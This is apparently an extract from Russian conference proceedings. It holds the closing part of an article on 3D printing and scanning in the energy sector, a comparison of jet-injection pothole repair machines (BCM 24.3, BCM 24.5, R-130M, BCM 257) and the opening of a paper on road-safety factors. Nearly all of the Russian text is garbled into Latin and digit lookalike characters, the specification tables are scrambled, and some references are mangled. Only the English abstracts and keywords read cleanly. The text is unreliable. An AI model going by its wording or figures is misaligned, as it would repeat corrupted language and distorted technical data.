CKaHepa Ha IITaTHBE YCTAaHABIMBAIOTCS pENepHble TOUKU (METKH), O KOTOPHIM IPOrpaMMHOE
o0ecrieyeHue CKaHepa paclo3HaeT MPUBI3KY CKAHUPYEeMOro 00BhEKTa K MECTHOCTH U K APYTUM
penepHbIM Toukam. [4]

3a mocieaHue Tobl I/TATUBHBIC TEXHOJIOTHH TO3BOJIMIIN CO3/1aBaTh B Poccun CHsATBIE ©
MIPOM3BOJICTBA U HEJOCTYITHBIE UMIIOPTHBIE 3aracHble YacTH. [IpoeKThl B JAHHOM HaIpaBICHUU
pelaoT 3aJaul MO0 JOCTHKEHUIO TEXHOJIOTHYECKOTO CYBEpEHHUTETa CTPAaHbl M CIOCOOCTBYIOT
umnopro3aMenieHnio. CrenuanucTsl co3AalT aetanu ¢ Hynd. CHavana JenaeTcs 3CKU3 Ha
OCHOBE JeTaiel, a 3areM cTtpoutcst 3D-monens. B cnenmanbHON mporpaMme BBICTaBIISIOTCS
napameTpsl. Jlanee 3amyckaercss B padory npuntep. [ledats omHolt aeranm 3aHmmaer ot 20
MHUHYT J0 HECKOJBKUX 4acoB. [1]

3D-neyaty obecmeunBaeT CpeacTBa i 00JIe€e YHMCTHIX IIETIOYEK IMOCTABOK YHEPTHUH,
yAydIiaeT TpoIecc pa3padoTKM M CHWXKAET 3aTpaThl. AJUIUTHBHOE MPOU3BOJCTBO MOXKET
CHM3UTH 3aTpaThl Ha MPOU3BOACTBO CONHEUHBIX MaHened A0 50%, OAHOBPEMEHHO MOBBIIIAS
spdexktuBHOCTE Oomee ueM Ha 20%. AHaJOTMYHBIM 00pa3oM, TPOU3BOAMTENN TEEpPh
ucnonb3ytoT 3D-neuaTh A7 TPOM3BOACTBA KPYIMHOMACIITAOHBIX KOMIIOHEHTOB BOJW3U
TYpOMHHBIX TUIONIAIOK. 3D-neyath oOecneurBaeT Takke MPEUMYIIECTBA, KOTOPhIE COKPAIAIOT
KOJINYECTBO OTXOJIOB M TOBBIIIAIOT YCTONYMBOCTH SHEPreTUUECKOT0 CEKTOpa. ITO TO3BOJISET
OCYIIECTBIISITh TOUHBIN KOHTPOJIb MaTepHaia, COKpalas OTXO/Ibl MaTepraia U CHIKasl pacxo.
ChIpbs. BO3MOXHOCTb CO3/1aBaTh CIEHUAIBHBIE JAETaTU ISl KOHKPETHBIX JHEPreTHUYECKUX
MpUMEHEeHUH obOecrieunBaeT MOBbIIICHHE 3()()EKTUBHOCTH W SKOHOMHIO CPEICTB. biaromaps
3TUM TPEUMYIIECTBAM IPOTHO3UPYETCS 3HAYMTEIBHBIM POCT MpuMeHeHus TexHomoruid 3D-
MEeYaTH B YHEPreTHIECKOM CEKTOpe B OJrKaiime roasl. [5]

[lepexon k¥ BO30OHOBIIEMBIM MCTOYHHKAM SHEpruu ¢ nomomsio 3D-nevatn kaxercs
[IIarOM BIEPE]] B SHEPTeTHYECKOM CEKTOpE. DTO 00ECHeYMBACT MPAKTUYECKYIO albTEPHATHUBY
TPaJULMOHHBIM MIPOU3BOJCTBEHHBIM MpoIleccaM. ITO TAKKE MOMOTaeT MPEOAONIETh MPOOIEMbI
pa3paboTku 0OoJjiee YCTOWYHMBBIX OSHEPreTHUecKkux pemieHud. TexHonorumu 3D-mevatu
MIPOMBIIIJICHHOTO MaciiTaba, OT JonacTeld TypOMH [0 CONHEUHBIX MaHeJel, mpeniararoT psil
MIPEUMYIIECTB JUISl SHEPTeTHUECKUX MPHIIOKEHUH. [ 5]

Mopenupyst cucteMbl 31eKTpocHaOxkeHus: B 3D, MOXKHO monyduTh Ooliee TOYHYIO H
PCATMCTUYHYIO MOJICITb, YeM JIBYXMEPHBIH depTek. MOXKHO 3apaHee MPOBEPHTh, HACKOIBKO
3aJI0’KEHHOE B TIPOEKT 000pYyOBaHUE MOIXOAMT sl 3aIJITAHUPOBAHHON YCTAHOBKH, KaK C TOUKH
3pCHHS €r0 TPOCTPAHCTBEHHOTO Pa3MEIICHUS, TaK W TEXHHUYCCKMX W JKCIDTYaTallMOHHBIX
xapaktepucTuk. MudopMarmionHas Mozienb MO3BOJISIET TaKke OBICTPO (HOPMHUPOBATH TOUYHBIE
cnerduranmy 000pyIOBaHUS IS BCEX CHUCTEM TpoekTa. B Hactosmiee BpeMs pa3paboTaHbI
UHCTpYMEHTHI U BIM-pemenns 1i1st ”HPOPMAITMOHHOTO MOJICIMPOBAHUS U CO3/IaHUSI TIPOSKTOB
CHCTEM DJIEKTPOCHA0KEHUsI, OCBEHICHUsI M CIA0OTOYHBIX CHUCTEM PAa3HOTO YPOBHS, a TaKXkKe
(hopMHPOBaHUS OTHOTUHEUHBIX CXEM.

AJTUTUBHBIE TEXHOJIIOTMM B HOHEPreTUUECKOW MPOMBINUICHHOCTH 3((HEKTUBHO
MPUMEHSFOTCS Ui CO3JaHMsS KaK BBICOKOTOYHBIX MPOTOTUIIOB, TaK U CIOXKHBIX KOHEUHBIX
neraned, KOHCTPYKTHBHBIX JJIEMEHTOB SHEpPreTHYeCKOro oOOpyJOBaHUSI U CUCTEM
sHeprocHabkeHwus. [ naBHbIe penmytecTBa 3 D-TeXHOIOTHiA 17151 SHEPTeTHKU:

. BO3MOKHOCTb IPOEKTUPOBATh M M3TOTABIMBATH W3JENUS  CIOKHEHIIen
reoMeTpun

. yAy4IlIaTh XapaKTePUCTUKU U CHUKATh BEC JIeTaliei

. UCII0JIb30BaTh NTHHOBALIMOHHBIE, 3KOJIOTNYECKH 0€30IaCHbIE MATEPUAIIbI

KonTtporns kauecTBa 1 00paTHOE MPOSKTUPOBAHUE MPOAYKIIMU SHEPT€THIECKOTO CEKTOPa
¢ nomoupto 3D-ckanepa u cnenumanbHoro IIO0 mo3Bos€T YCKOPUTh M ONTHUMM3HPOBATh
MPOM3BOJICTBEHHBIH Tporiece. [3]
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MoHO caienaTh BBIBObL, YTO puMeHeHne 3D — TeXHOIOruil SABJIsIeTCS MEPCIEKTUBHBIM
HafpaBJICHHEM, DENIAIONIUM MHOTHE 337aud B cdepe IIeKTpOIHEepreTHKH. Busyammzarms
00bEKTa U YeTKasl JIeTATU3UPOBAHHOCTD SHEPreTUUYECKUX OOBEKTOB MO3BOJIAET €IIe B MpoIecce
MO/JIENIMPOBaHUS N30eKaTh OMIMOOK U mpocueToB. 3D-CkaHupoBaHKe MOBBIMIAET KAUECTBEHHBIN
MOHHUTOPHHI COCTOSIHUSI DHEPrOCHUCTEM, YMEHBUIIAET Tpyno3arparbl. BosayiiHoe mnasepHoe
CKaHMPOBAaHUE OMTUMHU3UPYET OLUPPOBKY JHHUIN JIEKTpoOIiepeaay, sBsieTcs: 0€30MacHbIM IS
CHELUATUCTOB-OHEPI€TUKOB, OBICTPHIM M OOBEKTUBHBIM METOOM, YTO JIAET MPEUMYIIECTBO.
3D-meuats B cepe AMEKTPOIHEPTETUKU UTPAET JKUZHEHHO BKHYIO POJIb: OT MPOSKTUPOBAHUS U
MIPOU3BOJICTBA OoJiee JETKUX JIOMACTe BETPSHBIX TYpOUH 10 pa3pabOTKU HOBBIX KOHCTPYKLIUH
KOMIIOHEHTOB ~ SIIEPHBIX  peakTopoB. 3D-meuaTh cTajia  BaKHEWINEH  TEXHOJIOTHEH,
CHOCOOCTBYFOIICH WHHOBAIUSAM U d(PPEKTUBHOCTH B CEKTOPE BO30OHOBIISIEMBIX MCTOYHHKOB
SHEPIHH.

* k%

https://www.kommersant.ru/doc/7248621?ysclid=m4lczghjlu552134155
https://technokauf.ru/branches/energetika/?ysclid=m4mrntuxi75263847
https://igb.ru/industries/power-generation/?ysclid=m4lda8rjdk442921884

Kysnenos K. A., Jlapuonosa A. A., Kokmraposa E. 0. O6seMHOE N1a3epHOE CKAaHUPOBAHUE TOJICTAHIIMN H
000pYIOBaHUS 3JIEKTPOIHEPIeTHUECKUX CHCTEM // DJIeKTpooOOpymOBaHWME: SKCIUTyaTalisd ¥ PEMOHT.
2016;11-12.

5. https://www.rapiddirect.com/ru/blog/3d-printing-in-the-energy-sector/?ysclid =m4lbqeoe2i890296113

~wbdpE
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PA3JIEJI XXVII. TPAHCIIOPT

JNopmuaonroBa T.B., Ecun A.A.
MamuHbl 1 MeXaHU3MbI ISl CTPYHHO-MHbEKIIMOHHOI0 MEeT0/a SIMOYHOI'0 PEMOHTA
aBTOMOOMJIBHBIX J0POT

Camapckuii 20cy0apcmeenHblli MeXHU4eCKUuli YHu8epcumem
(Poccus, Camapa)

doi: 10.18411/trnio-01-2025-260

AHHOTAIINA

B navae XXI Beka B Poccum mnomyumsn MIMPOKOE pacnpoCTpaHEHHE CTPYWHO-
WHBEKIMOHHBI METOJ SIMOYHOTO PEMOHTA. JTa TEXHOJIOTHS 3apeKOMEHJoBana cedsi Kak
HaIS&KHBIA, SKOHOMUYHBIA W JIETKO peallM3yeMblii croco0d OOpbObI C SIMOYHOCTBHIO Ha
aBTOMOOMIIBHBIX Joporax. Mcnonb30BaHus CTPYHHO-UHBEKIIMOHHOTO METO/Ia YCTPAHEHHS sIM U
BHIOOMH Ha JOpOrax HaxXOAWTCS B MPSMON 3aBUCHUMOCTH OT pa3BUTHS OTEYSCTBEHHOTO
MAaIIMHOCTPOCHHUSI.

B cratbe mpuBoAgWTCS aHaNWM3 JIMHEWKM MalIMH JUIsI  IMOYHOTO  PEMOHTa
MammHocTpouteiabHoro 3aBojga «bemema» um OOO JICT «/lecHa» Kak MepernoBBIX
MPOU3BOAUTENEN TOPOKHO-CTPOUTEIIBHOM TEXHUKHU Ha Tepputopru Poccuiickoit deneparuu.

KimoueBbie ciaoBa: BIIM, P-130M, mammuoctpoutensHbiii 3aBoja «beuemay», OO0
JACT «/lecHay, SMOYHBIH PEMOHT, CTPYHHO-MHBEKIIMOHHBIH MeToi, OapabaH, TpyOOMpoOBO/,
KaMepa, EMKOCTb, JaBJICHHE, CXKaThIil BO3YX.

Abstract

At the beginning of the XXI century, the jet injection method of patching was widely
used in Russia. This technology has proven itself to be a reliable, economical and easily
implemented way to combat dimpling on highways. The use of a jet injection method for
eliminating holes and potholes on roads is directly dependent on the development of domestic
engineering. The article provides an analysis of the line of machines for pit repair of the Betsema
machine-building plant and DST Desnha LLC as advanced manufacturers of road construction
equipment in the territory of the Russian Federation.

Keywords: BCM, R-130M, machine-building plant "Betsema", LLC DST "Desna", pit
repair, jet injection method, drum, pipeline, chamber, container, pressure, compressed air.

B ACBAHOCTBIC TOJblI IMPOOUIOIO  CTOJICTUA Ha6JIIOI[aJIC$I 3HAYUTEIILHBIN pocCT
MIPOM3BOJICTBA MAILIMH IS SIMOYHOTO PEMOHTa aBTOMOOMIIBHBIX JJOPOT. B TOT nepuos 1opokHOoe
XO3SMCTBO 3aHUMAJIO OIHY U3 BCAYIIUX HO3I/ILII/H71 B OKOHOMUKE CTpPaHbI, IIOCKOJIbKY HAJIOI' Ha
OCYILECTBJICHUE JIOPOKHO-XO3SIIICTBEHHON JIeATEIbHOCTH COCTaBlsul He Oornee 2,5% oT
00OPOTHBIX CPEICTB BCEX MPEANPUATHIA TPOMBIIIJICHHOTO U IPaXIaHCKOTO CEKTOPOB.

MUHUCTEPCTBO JOPOKHOTO CTPOUTENIHCTBA OCYILIECTBMIIO Psifi KOHKYPCHBIX MPOLETYP,
HafpaBJICHHBIX Ha OIpEeIeNieHHe MOJPAIHBIX OpraHM3allii, KOTOpble OyIyT 3aHUMATHCS
MIPOM3BOJICTBOM MAIIIHH JIJIsl TPOBEICHUS SMOYHOTO PEMOHTA aBTOMOOMIIBHBIX JTOPOT.

B pesynbrare 3tux meponpustiii B 2002 rogy ObUT CO371aH MEPBhIN CEpUTHBINA 00pazery
MAalllMHbl, NPEAHA3HAYEHHOW Ul CTPYHHO-MHBEKLMOHHOTO SIMOYHOIO PEMOHTA JIOPOKHOIO
MTOKPBITHSL, PUCYHOK 1.
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DPaxIuot HPHMEHIEMOrO media 5-13 Mu

MOHHAR 1L AHNOHHAR ONYILCHN

Pucynox 1. Buewmnuii 6uo u mexnuueckue xapakmepucmuxu BIIM 24.3.

B pesynprare mnpoBen€HHOrO aHaiu3a OBUIM BBIABICHBI KIIOUEBBIE JOCTOWHCTBA
paccMaTprUBaEMON MOJIEIIH

1)  ckopocTh pabOThI M BBICOKasl MPOM3BOAUTEILHOCTh. [IpH MONHON 3arpy3ku
MalrHbI paCXOAHBIMH MaTCpHAJIbl UMECTCA BO3MOXKXHOCTb B TCUCHUEC pa60qel71
CMEHBI BBITIOJIHUTH PEMOHT aBTOJIOPOKHOTO MOKPHITHS 10 2500 M2 MOKpHITHS
MIPY HATMYUH HEOOJBIION SMOYHOCTH;

2)  BO3MOYKHOCTb OTKPBITHS JABHYKCHHUS JUII TPAHCIIOPTHBIX CPEJICTB B TeUeHHe 15
— 30 MUHYT TTOCTIE 3aBEPIICHUS] PEMOHTHBIX padoT;

3)  HanMYMe IHPOKOTO Psja 3aMacHBIX YacTei JUIs OCYIIECTBICHHS IUIAHOBOTO
WM aBapUIHOTO PEMOHTA MAaIINHBI,

4)  BO3MOXKHOCTH MPOBEJCHUS PEMOHTHBIX pabOT NPH  MHHHUMAIBHBIX
oTpuuaTenbHbIX Temmeparypax (1o — 3 °C). OcHOBHOW KpuTepuit —
OTCYTCTBUC B BBI6OI/IH6 CHEKHBIX OTJIOKEHUH MIN JipJa.

B mHacrosiiee BpeMsi MONyYWsId pacrnpocTpaHeHue Oojiee COBPEMEHHBIE MAlIUHBI,
npefHa3HaYeHHbIC JUIA MPOBEICHUST PadOT MO SMOYHOMY PEMOHTY JIOPOXKHOTO TMOKPBITHS C
HCIMOJIb30BaHUEM CTPYHHO-UHBEKIIMOHHOT'O METO/IA.

[Ipomomxkarens nuHeiikun mamua BIIM 24.5, pucyHok 2, Toke paboTaeT Ha OCHOBE
KECTKOM CILIENKH C aBTOCAMOCBAJIOM, (PYHKIIMOHHPYS MO CXO0XKEMYy NPUHIMITY, HO 0Oiajgaer
PAIOM TIPEUMYIIECTB, @ IMEHHO:

Pucynox 2. Buewnuii 6u0 u mexnuueckue xapaxmepucmuxu BIJM 24.5 1) komnpeccop nodauu 6030yxa ona o60ysa
6v160UHbL NPOU3E0OUMENbHOCMbIO 22 M3/MUHYTY.

1) Bo3nyx nogaercs remneparypoii He 6oree 82 °C o nasnenuem 0,08 MIla;

2) rojiaua MaTepraga B paclpeesuTe]b CMECH OCYIIECTBIISIETCS] C TIOMOIIBIO
AJIEKTPOITHEBMATHYECKOTO MEXaHM3Ma,;

3) SMYJbCUSI TIOJAETCS B pacrpenenurens mnon nasienuem 0,6 Mlla. B
KOHCTPYKIIMM MAIIMHBl HMEETCS HarpeBalolluil MEXaHH3M, KOTOPBIH
MO3BOJISICT MOJICPKUBATh TEMIIEPATypPy BSDKYIIETO B TpeOyemMoMm Jyist
paboThI AMana3oHe;
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4) BO3MOKHOCTh aBTOHOMHOW TPOMBIBKA OOOPYIOBaHHS TOCIE 3aBEPIICHUS
paboThI C MPUMEHEHHEM PAaCTBOPUTEIEH;
5) pacnpeenuTeslb UMEET MMPOKUH paanyc padoTsl 10 5,20 MeTpa;
B Hacrosimiee Bpems JOpOKHO-3KCIUTyaTallMOHHbBIE OpraHU3aIiK BCE yalle o0palaroTes
K wucnonb3oBanuto aromoowns P-130M, mpomsBomumoro OOO JICT «JlecHa», koTtopoe
pacnonokeHo B ropojie bpsHcke, pucyHok 3.

l OpaKiER npEMeHReMoro medun 5-15 ym I

Byectmyocrs mrerepi 1100 2

TexmiriecKue xapakrepucTiky P-130M

Pucynox 3. Buewinuii 6uo u mexuuyeckue xapakmepucmuku mauwunst P-130M.

B Xoaec l'[pOBC)IéHHOl"O HCCJIICOOBaHUA OBLIN BBISBIICHBI KIIFOUEBBIC JOCTOMHCTBA )Z[aHHOfI
MOJICJIM IO CPABHEHHIO C aHAJIOTaMU:

1) JIBYXCEKIIMOHHBIN OYHKEp JUIsl pa3MELICHUS 3aIOTHUTEIS;

2) cucTeMa mojorpeBa Oaka sl BSXKYILETO JU3ENIbHBIM TOIUIMBOM OOBEMOM
1100 murpoB. laHHbI (hakTOp BaskeH MPH OTPULIATEIIEHBIX TEMIIEPATYPaXx;

3) yBEeNMYEHHBIN 00beM Oaka A1t Boasl Ha 900 TUTPOB, KOTOPBIM UCTIONB3yeTCs
JUIsl IPOMBIBKH 1LEOHS Mepe]] nmojavei Uist TydIInuX aJre3MOHHbIX KauecTB;

4) JKECTKA CILETIKA OCYIIECTBISIETCS C TPAKTOPOM, KOTOPBII MOXET IPOBOJAUTH

paboTel 0e3 Hapsma-IoMycKa TIOJA JIMHUSMHU  OJIEKTporiepenad  HiIu
HCKYCCTBEHHBIMH COOPYXEHUSIMH;

5) HAJIMYKE CICIMATBHOIO YCTPOWCTBA, KOTOPOE MO3BOJSIET PabOTaTh TOJIBKO
OMYyJIbCHCH, 3aMBas TPCIIWHBI WM PACTbULssi €€ Ha aBTOIAOPOXKHOE
TIOKPBITHE;

B pabore Obul mpoBeAEH aHaIM3 KIIOUEBBIX TEXHHYECKUX  XapPAKTEPUCTUK
pPacCMOTPEHHBIX MalllMH, TpeJHa3HAUYEHHbIX Uil TPOBEACHUS CTPYWHO-UHBEKIIMOHHOTO
PEMOHTA JOPOKHOTO OKPHITUS, Tabmu1a 1.

Tabnuya 1
Texnuweckue noxkazamenei PAaACCMOMPEHHbIX MAULUH ons npoeeOeHuﬂ
Cmp)/ZZHO'uH'beKI/;MOHHOZO pPEMORmMA.
Ne Eo.uz
i Tloxazamens N BIIM 24.3 bIIM 24.5 P-130M
1 Buo npucoeounenus - HKecman JKecmras cyenka JKecmras cyenxa
cyenka
2 Mavana - Aemocamocean Asmocamocasan Tpaxmop
NPUCOEOUHEHUSL
3 Tonnasa macca mu 4,79 4,79 9,00
4 Juna M 4,67 4,67 6,40
5 Hlupuna M 2,50 2,50 2,50
6 Bvicoma M 2,10 2,10 3,30
7 Tun osucamens - Jluzenvhviil
8 Ipoussooumenvroc | m3/mu 0,15 0,15 0,55
mb Komnpeccopa H
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9 Ipouszeooumenvroc | 06/mu 125,00 150,00 175,00
mb 8030YX00V8KU H
THooaua
Ipasumayuonna
10 3anonnumerns 6 - 4 I'pasumayuonnas Aemomamuyeckas
oyHKep
1 Konuuecmeo um 1 1 2
OYHKepos
12 Obvem bynxepa M3 2 2 2x2,40
13 Dpaxyust webHst MM 5-13 5-13 5-15
14 Auciemp M 0,40 0,40 0550
3a2py30UH020 TIOKA
15 | Fawocmo yucmepivt |-, 1000,00 1000,00 1100,00
8AICYUYE0
Kamuounnas, Kamuonnas,
16 Tun smynvcuu - Kamuonnas, anuonnas
AHUOHHAS AHUOHHAS
17 Emxocmu yucmephvi P ) i 900,00
07151 00bl
Hanuuue cucmemul Jluzenvroe
18 - Jluzenvroe moniuso Jluzenvroe monnueo
npomwiea MONIUBO
THooaua
19 MUHEPATLHO2O Ke/u 1000,00 1000,00 2200,00
3anonnumenst
20 Cnocob nooauu 6 i Inesmamuyecku | dnekmponnesmamuye | DneKmponHeeMoLuopasiuy
pacnvliumens u cKutl ecKutl
21 Hanuuue yoourku - - - Hmeemces
0p | Opuenmuposounas | 5 | 315000000 5 600 000,00 5 040 000,00
CMoUMOCmy

B PEIYIbTATEC IMPOBCACHHOI'O0 aHaJIM3ad, YCTAHOBJICHO, 4YTO Y IIPUICIHBIX MAIlWH,

MMpEAHAa3HAUYCHHBIX I AMOYHOI'0 pEMOHTA JOPOKHOI'O IMOKPBITUA, TIOMUMO 3KOHOMUYCCKHUX U
CKOPOCTHBIX TPEUMYIIECTB, €CTh CYIIECTBEHHBI HEIOCTaTOK, a HMMEHHO HEOO0XOIUMOCTh
paboTHI Ha TTPOE3KEN YACTH.

B ormmumm ot MPULCIHBIX MAlllMH, B HACTOAIICC BpPCMSA Ha TCPPHUTOPUU Poccun

MPOM3BOJUTCS W AaBTOHOMHBIE CHCTEMBI JISi TPOBENCHHS SMOYHOTO PEMOHTA CTPYHHO-

WHBEKIIMOHHBIM CIIOCOOOM.
HaunGonee mpou3BoauTenbHON W MOOWIBHON MAIIMHOW JUISI TIPOBEIACHHUS SIMOYHOTO

PEMOHTA CTPYHHO-UHBEKIIMOHHBIM METOJIOB B HACTOSIIMI MOMEHT siBisiercst BLIM 257 Ha Oaze
KamA3 43253, npousBoimMasi MallimHOCTPOUTENBHBIM 3aBOJIOM «beriemay, pucyHok 4.

l Kamiomag iwnt aiionias IMyIncns |

| BUCOTA pactnutimens oTnocHTeanto moxpanit 1.20-1.50 a l
I [Moaraa somteparsitoro sanommreas 2500 xr/y l
l TPABHTAIIIONNAS IO SUTOMMITEAN 1§ MAIINY l

l JC\‘I’[K)I]]KIMO“L'!DML‘HI‘I((NM MO JANOMEHNTEIR M |
. VILCIO U p IC1L -

] TaGapimide pantepas 11,50x2,50x3.10 |

l BaectunocTs mucTepint 1135 a I

Pucynox 7.Mobunvuwiti komnaexce BIIM 257 u e2o mexnuueckue Xapakmepucmuxu
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KittoueBoii 0cOO€HHOCTBIO JaHHBI MOJENH SIBIISIETCS TO, YTO YIPaBICHHEM IIpolecca
pPEMOHTa aBTOAOPOKHOTO TOKPBITHSI 3aHUMAETCSl HEMOCPEICTBEHHO MAIIMHUCT MOOMIBLHOTO
KOMIUIEKCA U3 BOAUTEIHCKOW KAOWHBI B OTJIMYMH OT MPHUIICTIHBIX MOjIesiel, TakuX kak bIIM 24.3
wm BIIM 24.5, Tem caMbIM HCKITIFOYAaeTCS BBIXO/ pabOyero mepcoHana Ha MPOe3kKyr 4acTh U
HUBEJIHMPYETCS BEPOATHOCTh HAE3/1a HA HETO.

[To uroram mpoBeAeHHOU pabOTHI OBUI CAENAHO 3aKIFOYEHHE O TOM, YTO JIOPOKHBIC
paboThl B 3HAYMTENBHOW cTemeHW yBenuumBaroT kommdectBo JITII Ha  ywactkax
aBTOMOOWIIBHBIX JOpOr. J[aHHOE SBIIEHHE XapakTepHO MAJsl T€X YYACTKOB, TIE MPOUCXOIUT
MIPUMEHEHUE PYYHOTO TpyAa pabOTHUKAMH AOPOKHOTO X03sicTBa. [Ipy M3yueHun MamivH Kak
BIIM 24.3, BIIM 24.5, P-130M u BIIM 257 Obutu ompeneneHbl OCHOBHBIE TEXHUYECKUE
XapaKkTEPUCTUKA M CTOMMOCTHBIE II0Ka3aTela. BBINOIHEHO cpaBHEHHE AAHHBIX BapHAHTOB
MalllH, KOTOPOE€ TMO3BOJIWIO ONPEASIUTh OCHOBHBIC NMPEMMYILECTBA M HEJOCTATKU KaxI0i
pPEMOHTHOI MamuHbl. TexHonoruueckass MHGOpPMAIMS, HNPUHIUIBI CTPYHHO-UHBEKIIMOHHOTO
METO/la M TPaMOTHBIA TMMOMOOP YENOBEUSCKUX M MEXaHW3UPOBAHHBIX pecypcoB Oyner
UCTOJIb30BaThCsl TPU OCYIIECTBIEHUH IPOM3BOJCTBEHHON EATENBHOCTH JIIOOOW JOPOKHO-
JKCIUTYaTallMOHHOW OpraHu3anuen

*kk
1. HuTepreT-pecypc: MammHocTpouTenbHbIN 3aBo1 «benemay. [DnekTpoHHbIN pecypc]. — PexxuMm gocrtyna:
https://www.becema.ru/.
2. OIM 218.6.1.003-2021. MeTtoanyeckne peKOMEHIAIIMHA N0 TEXHOJOTHAM yCTpaHeHHs AedopMarwii u

MOBPEKICHUI C HCIOJB30BAHUEM PA3IMYHBIX THIIOB CIICIUAIBHBIX ac(halbTOOCTOHHBIX CMEced Mpu
BBITIOJTHEHUH HEOTJIOKHBIX PaboT.

3. Oenepanpabiii 3akoH oT (08.11.2007 N 257-®3 «O0 aBTOMOOWJIBHBIX IOpOTaX M O JOPOKHOM
nesarenbHocTU B Poccuiickoit @enepannu 1 0 BHECEHUHU U3MEHEHUM B OT/ENIbHBIE 3aKOHOAATENbHbIE aKThI
Poccuiickoit denepanum».

IHasaosa JI.H., Typoun M.B.
HccnenoBanue pakTopoB, BIAUSIONMUX HA 0€30MIACHOCTD JIBUKEHUS HA I0porax

Camapckuii 2ocyoapcmeenbiti mexHu4ecKull ynusepcumen
(Poccus, Camapa)
doi: 10.18411/trnio-01-2025-261

AHHOTAIINA

B mensx 6oprOBI ¢ aBapUHHOCTHIO HA aBTOMOOWJIBHBIX JOPOTaX B HACTOSIIEE BpeMs
peanu3yeTcs MHOXECTBO HAIIMOHAIBHBIX, (heAepalbHBIX, PETUOHAIBHBIX U MYHHUIUMAIbHBIX
MIPOEKTOB, KOTOPBIC HATIPABJICHBI HA MOBBIIICHUE YPOBHS 0€30MaCHOCTH JTIOPOKHOTO JIBUKCHHS.

B cratee nmpuBoguTcs uccienoBanue 6 (GpakTopoB, KOTOPBIE B TOM WIM MHOW CTENECHU
BJIIMSIOT Ha O€30IacHOCTh JTOPOXKHOTO JBIDKCHHS. [IpUBOIUTCS NMPUYUHBI X OOPa3OBaHWS,
CTaTUCTUYECKUE U aHATTMTUIECCKUE TaHHBIE, TOATBEP KIAIOIINE IPUBEICHHBIE 000CHOBAHUSI.

KiroueBble ciioBa: 6€30MacHOCTh JOPOKHOTO IBUKCHHS, CTATUCTUKA, HAYYHBIA IIEHTD,
K03(pPULIMEHT clLieTIeHNs], 3UMHSISI CKOJIB3KOCTh, COCTOSHHE TPAHCIOPTHOTO CPEJICTBA, CTAX
BOXKJICHUS, IIMPUHA TIOJOCHI JBW)KCHHUS, 3aTOPOBBIC CHUTYallH, TSDHKECTh IOCIEICTBUH,
JIOPOYKHO-TPAHCIIOPTHBIE IPOUCILIECTBUSL.

Abstract

In order to combat accidents on highways, many national, federal, regional and municipal
projects are currently being implemented that are aimed at improving road safety.

The article presents a study of 6 factors that affect road safety to one degree or another.
The reasons for their formation, statistical and analytical data confirming the above justifications
are given.
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Keywords: road safety, statistics, scientific center, coefficient of adhesion, winter
slipperiness, vehicle condition, driving experience, lane width, congestion situations, severity of
consequences, traffic accidents.

bezonacHOCTh JOPOKHOTO JBIDKEHUS — OJIHO M3 MHOTOYHCIICHHBIX NMPHUOPHUTETHBIX H
OTBETCTBEHHBIX HAMPABICHUN JEATENLHOCTH TOCYIAapCTBEHHBIX OpraHoB Poccuiickoit
®denepanum.

Hcxona u3 c.2. @epepanbHoro 3akoHa oT 10.12.1995 N 196-®3 «O 6Ge3omacHoCTH
JIOPOYKHOTO JIBMDKEHUS» O€30MacHOCTh JIOPOKHOTO JIBMIKEHHSI — JTO COCTOSIHHE TIpoIiecca,
OTpaXKarolllee CTEMEHb 3AlIUIIEHHOCTH €ro YYacTHUKOB OT JOPOKHO-TPAHCIOPTHBIX
MPOUCIIIECTBUN U X MTOCIICJICTBU.

Ha pucynke 1 mnpencraBneH rpaduk aBapUHHOCTH Ha aBTOMOOWJIBHBIX JIOpOTax
Poccuiickoit denepanuu.
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Pucynox 1.I'pagpux asaputinocmu Ha asmomodubHbix dopozax Poccuiickou @edepayuu.

Kak nokasbiBaeT aHaJIMTHKA, NIPECTaBICHHAs B OpHUIHATLHOM AoKiIane «O cOCTOSIHUN
0€30MacHOCTH JTOPOXKHOTO ABWXEHHUS B Poccuiickoii deneparymy», KOTOPHIM MOATOTOBICH U
MPEACTaBICH COTPYIAHUKAMH HAay4yHOrO IEHTpa O€30MacHOCTH JOPOKHOTO  JIBMIKEHUS
MUHHCTEpCTBA BHYTpeHHHX nen Poccuiickoit ®@enepanuu, B 2023 rogy Ha aBTOMOOWIBHBIX
noporax Bcex 3HaueHWi B Poccuiickort denepanuu O0bu10 3adukcupoBano 126 705 mopokHo-
TPAaHCIOPTHBIX MTPOUCIIECTBUN, KOTOPbIE YHECIH XKU3HU 14 172 yenosek.

Crnemyer OTMETHTD, UTO B MIEPUO/]] C Havaja BeleHHs Moao0Hoi ctatuctuku (1990 ron),
KOJINYECTBO JI0POKHO-TPAHCIIOPTHBIX MPOUCIIECTBUN CHU3MIOCH HA 35,47 % (196 362 B 1990
rofy), a KonudecTBo norudmmx Ha 59,89 % (35 366 B 1990 roxy).

Kpome toro, B 1990 rony n0p0okHO-TpaHCHIOPTHBIE MPOUCHIECTBUS SABISUIUCH MATOW IO
CYeTy NMPUYMHOM CMEPTHOCTH HacelieHus Poccuiickoit denepanuu, B To Bpems kak B 2021 rony
y)Ke Haxoausach Ha 17 mecre.

B nensx 6opprObI ¢ aBapUitHOCTBIO HA aBTOMOOWMIIBHBIX JOPOTaX B HACTOSINEE BpeMs
peam3yeTcss MHOXKECTBO HAIMOHAIBHBIX, (elepalIbHBIX, PETUOHAIBHBIX M MYHHIIMMAIBHBIX
MIPOEKTOB, KOTOPbIE HATIPABJICHBI Ha MOBBIIIIEHUE YPOBHS 0€30MaCHOCTH JIOPOIKHOTO JIBUKECHUSI.

OcHOBHOI 3a/auell BBINIEYKa3aHHBIX IPOEKTOB SBIISETCSl BbISBICHHE MPUYUHHO-
CIIEZICTBEHHOU CBs3M (DaKTOPOB, KOTOPBIE BIMUSIOT HA JBIDKCHHE TPAHCIOPTHBIX CPEACTB U
COBEpLIAEMBIE JIOPOKHO-TPAHCIIOPTHBIX MPOUCHIECTBUM Ha aBTOMOOWIBHBIX JOpOrax ¢
MoCTeqyIoNe pa3paboTKONH HHKEHEPHBIX, TEXHUYECKUX WM METOAMYECKHX MEPOIPHUSITHIA,
KOTOpBIE OYyyT HUBEITUPOBATH BIMSHUE BBISIBICHHBIX (DAKTOPOB.

B mpakrtuueckoii cepe BBIAETSIOT 6 OCHOBHBIX (DaKTOpPOB, KOTOPBIE B TOW WMIIM MHOM
CTETICHHU BIIMSIOT Ha 6€30MTaCHOCTH IOPOKHOTO IBIKEHUS (CM.PUCYHOK 2).

1. CocTosiHME NOKPBITHSL.
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CocTosiHrE TOKPHITHS MTPOE3KEN YaCTH aBTOMOOMIIBHOM JIOPOTH B pa3HbIe BpeMEHa rojia
